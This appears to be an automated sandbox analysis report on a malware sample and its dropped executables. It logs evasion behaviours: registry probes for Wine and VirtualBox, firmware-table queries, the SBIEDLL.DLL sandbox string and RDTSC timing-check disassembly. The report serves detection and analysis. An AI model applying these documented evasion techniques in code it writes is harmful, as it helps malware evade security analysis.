Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Target.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Baursystempower.exe PID: 8032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Gxtuum.exe PID: 7068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Target.exe PID: 7228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bestsoundeffectives.exe PID: 7416, type: MEMORYSTR

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_3-9719
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-10240

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Baursystempower.exe, 00000007.00000002.3320375672.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3439536718.0000000002791000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3552484919.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4D0D second address: 9B4D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 push ebx 0x0000000a jmp 00007F19ECFD9946h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4D32 second address: 9B4D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4ECF second address: 9B4EDF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F19ECFD9936h 0x00000008 jl 00007F19ECFD9936h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5173 second address: 9B5191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F19ECFDC0D8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5191 second address: 9B51AD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007F19ECFD9936h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d jmp 00007F19ECFD993Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5597 second address: 9B559B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B82F0 second address: 9B82FA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F19ECFD9936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B836B second address: 9B8371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8371 second address: 9B83C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F19ECFD9945h 0x0000000f popad 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F19ECFD993Dh 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007F19ECFD993Fh 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push esi 0x00000029 pop esi 0x0000002a ja 00007F19ECFD9936h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B83C4 second address: 9B8444 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F19ECFDC0C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F19ECFDC0C8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D1CF4h], esi 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F19ECFDC0C8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 mov si, C4E0h 0x0000004d push 00000000h 0x0000004f and si, C52Ch 0x00000054 jmp 00007F19ECFDC0CFh 0x00000059 push 00000003h 0x0000005b mov dword ptr [ebp+122D1D02h], edx 0x00000061 push BB30EB12h 0x00000066 push esi 0x00000067 push ebx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8444 second address: 9B848C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 xor dword ptr [esp], 7B30EB12h 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F19ECFD9938h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 sub dword ptr [ebp+122D2B90h], edi 0x0000002d lea ebx, dword ptr [ebp+1244D1ACh] 0x00000033 jmp 00007F19ECFD993Dh 0x00000038 xchg eax, ebx 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B84F4 second address: 9B84FE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F19ECFDC0CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B84FE second address: 9B8535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov cx, si 0x0000000a push 00000000h 0x0000000c jmp 00007F19ECFD9948h 0x00000011 call 00007F19ECFD9939h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007F19ECFD9936h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8535 second address: 9B853B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B853B second address: 9B8586 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F19ECFD9936h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F19ECFD9948h 0x00000015 ja 00007F19ECFD994Ah 0x0000001b jmp 00007F19ECFD9944h 0x00000020 popad 0x00000021 mov eax, dword ptr [esp+04h] 0x00000025 push esi 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8586 second address: 9B85AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F19ECFDC0C6h 0x0000000a popad 0x0000000b pop esi 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F19ECFDC0D4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B85AA second address: 9B85B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B85B0 second address: 9B85B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8649 second address: 9B86CA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F19ECFD993Ah 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 45C78E51h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F19ECFD9938h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D3B10h] 0x00000032 pushad 0x00000033 or edi, dword ptr [ebp+122D3918h] 0x00000039 mov ecx, dword ptr [ebp+122D37E0h] 0x0000003f popad 0x00000040 jmp 00007F19ECFD9949h 0x00000045 lea ebx, dword ptr [ebp+1244D1B5h] 0x0000004b sbb dl, FFFFFFF7h 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 jnl 00007F19ECFD9936h 0x00000058 ja 00007F19ECFD9936h 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B86CA second address: 9B86D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFDC0CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B86D8 second address: 9B86E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B86E6 second address: 9B86EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B87FE second address: 9B885A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F19ECFD9948h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 10017805h 0x00000011 call 00007F19ECFD9948h 0x00000016 pop edi 0x00000017 lea ebx, dword ptr [ebp+1244D1C0h] 0x0000001d jmp 00007F19ECFD993Fh 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jnp 00007F19ECFD9936h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B885A second address: 9B8860 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8339 second address: 9D8348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jng 00007F19ECFD9949h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6515 second address: 9D651E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D651E second address: 9D6522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D67BD second address: 9D67C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6BC6 second address: 9D6BD3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F19ECFD9936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7176 second address: 9D717A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D717A second address: 9D7190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F19ECFD993Ch 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7302 second address: 9D731A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFDC0CEh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D731A second address: 9D731F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D731F second address: 9D7324 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7AD7 second address: 9D7AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7AE0 second address: 9D7AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
